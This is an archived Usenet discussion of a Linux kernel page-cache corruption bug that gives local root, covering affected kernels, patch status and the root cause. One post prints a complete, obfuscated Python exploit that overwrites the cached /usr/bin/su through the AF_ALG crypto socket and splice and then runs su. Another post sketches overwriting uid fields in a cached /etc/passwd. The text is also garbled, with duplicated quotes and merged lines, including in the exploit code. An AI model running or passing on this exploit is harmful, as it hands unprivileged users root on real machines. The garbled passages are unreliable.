This is an instant local escalation to root that works on about nineI haven't been able to find a *clear* list of kernels that aren't
years of kernel versions across many, if not all, distros. It's been
patched, very recently, and there is a work-around.
I haven't been able to find a *clear* list of kernels that aren't
affected but it doesn't work on Slackware w/6.18.23. /bin/su needs to be >readable, but it's 4711 by default. Neither the C version nor the Python >version worked here. Some say 6.18 is already patched, but, again, no
clear list as of this writing.
I haven't been able to find a *clear* list of kernels that aren't
affected but it doesn't work on Slackware w/6.18.23. /bin/su needs to be readable, but it's 4711 by default. Neither the C version nor the Python version worked here. Some say 6.18 is already patched, but, again, no
clear list as of this writing.
Eli the Bearded <*@eli.users.panix.com> writes:
This is an instant local escalation to root that works on about nineI haven't been able to find a *clear* list of kernels that aren't
years of kernel versions across many, if not all, distros. It's been
patched, very recently, and there is a work-around.
affected
In fact, an argument can be made that *all* system-supplied executables
(the ones currently protected 755) should be protected 711 instead.
We are not living in the 20th century anymore.
gazelle@shell.xmission.com (Kenny McCormack) wrote:
In fact, an argument can be made that *all* system-supplied
executables (the ones currently protected 755) should be protected
711 instead.
We are not living in the 20th century anymore.
And still all those files can be publicly downloaded from the
distribution's repositories. It just makes life harder to make them unreadable.
Marc Haber <mh+usenetspam2616@zugschl.us> writes:
gazelle@shell.xmission.com (Kenny McCormack) wrote:
In fact, an argument can be made that *all* system-supplied
executables (the ones currently protected 755) should be protected
711 instead.
We are not living in the 20th century anymore.
And still all those files can be publicly downloaded from the
distribution's repositories. It just makes life harder to make them
unreadable.
The issue is not secrecy or otherwise of the file contents, its the
read permission itself. The underlying vulnerability gives the attacker
the ability to modify the cached copy of any file they can open, even
just for reading, and the example exploit applies that to a setuid >executable. Remove read permission and the file is no longer a target
for this attack.
However, removing read permission on executables isn't likely to help,
for the reasons given in my other post.
By the way, what is the patch status of this problem? My reading of some
of the posts upthread is that it is always patched (fixed) in some >kernels/distros. Is that correct?
By the way, what is the patch status of this problem? My reading of some
of the posts upthread is that it is always patched (fixed) in some kernels/distros. Is that correct?
However, removing read permission on executables isn't likely to help,
for the reasons given in my other post.
Understood.
By the way, what is the patch status of this problem? My reading of some
of the posts upthread is that it is always patched (fixed) in some kernels/distros. Is that correct?
For what it's worth, on Gentoo I just switched to 6.18.26 and the vulnerability is patched. (6.18.18 was vulnerable.)
On Sat, 2 May 2026 21:46:24 -0000 (UTC), Pierre Asselin wrote:
For what it's worth, on Gentoo I just switched to 6.18.26 and the
vulnerability is patched. (6.18.18 was vulnerable.)
I did a reboot on my VPS after a notification from the provider, and
then a few hours later the provider did their own forced reboot of
VPSes including my own.
But, from the way RKettle talks about it, the problem is unfixable at
this point, since it affects shared libraries as well, and it would take
a major change to the way things are done to plug this hole.
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
That script's style makes me think the authors may like Perl.
Elijah
Lawrence DOliveiro <ldo@nz.invalid> wrote:
Pierre Asselin wrote:
For what it's worth, on Gentoo I just switched to 6.18.26 and the
vulnerability is patched. (6.18.18 was vulnerable.)
I did a reboot on my VPS after a notification from the provider, and
then a few hours later the provider did their own forced reboot of
VPSes including my own.
This is what I don't understand about this "vulnerability".
Is it fixed or not? (*)
From the way some people are talking, yes, it is fixed (provided you have
the necessary distro, kernel version/patches/etc/etc).
But, from the way RKettle talks about it, the problem is unfixable at
this point, since it affects shared libraries as well, and it would
take a major change to the way things are done to plug this hole.
[ ... ]
Stopping unprivileged users getting a file descriptor onto anything that might be executing, or executed, with different credentials would reduce
risk by excluding all attacks that depended somehow on getting a file descriptor onto the target file. As already noted there?s a problem with shared libraries.
Richard Kettlewell <invalid@invalid.invalid> wrote:
[ ... ]
Stopping unprivileged users getting a file descriptor onto anything that
might be executing, or executed, with different credentials would reduce
risk by excluding all attacks that depended somehow on getting a file
descriptor onto the target file. As already noted there?s a problem with
shared libraries.
That doesn't solve anything. Letting an unprivileged user modify
the cached copy of files is BAAAAD. It doesn't have to be executable
code. /etc/passwd would be a good one, poke zeros in your uid:gid
fields, log out, log back in.
Even without privilege escalation, corrupting (cached copies of) random
files can wreak havoc.
* Eli the Bearded <*@eli.users.panix.com>
| https://copy.fail/
| It works by corrupting the in-memory copy of a program with suid bits,
| so no change to the on-disk copy, but relying on multiple processes
| hitting the same in memory file cache. The corruption happens becuase
| of a kernel bug.
If I understand it correctly , the bug is a 4-byte write into a memory
region which should not be written to, but due to missing checks in the
API happens anyway (repeat as required to write more than 4 bytes as in
the python exploit to 'su').
This alone would not be sufficient, since it just writes into the user program memory. It was an unrelated change (the "in-place-krypto"
change) which made kernel page cache memory addressable for the
4-byte-write, so now we can write into kernel memory.
The 'fix' is now to remove that possibility by only allowing
"out-of-place" krypto, so the page cache memory can't be overwritten any longer.
But the main problem - the 4-byte-write into memory which should not
happen - still exists?
If this is the case, this whole scenario is just waiting for another
clever hacker to find a different way to chain things up to exploit
it.
I wonder how that 4-byte-write passed the review process (was there
any) in the first place in 2015? Even if it did not trigger any
problems then, it should never have been accepted IMHO.
| Sysop: | DaiTengu |
|---|---|
| Location: | Appleton, WI |
| Users: | 1,116 |
| Nodes: | 10 (0 / 10) |
| Uptime: | 85:27:47 |
| Calls: | 14,305 |
| Files: | 186,338 |
| D/L today: |
647 files (184M bytes) |
| Messages: | 2,525,478 |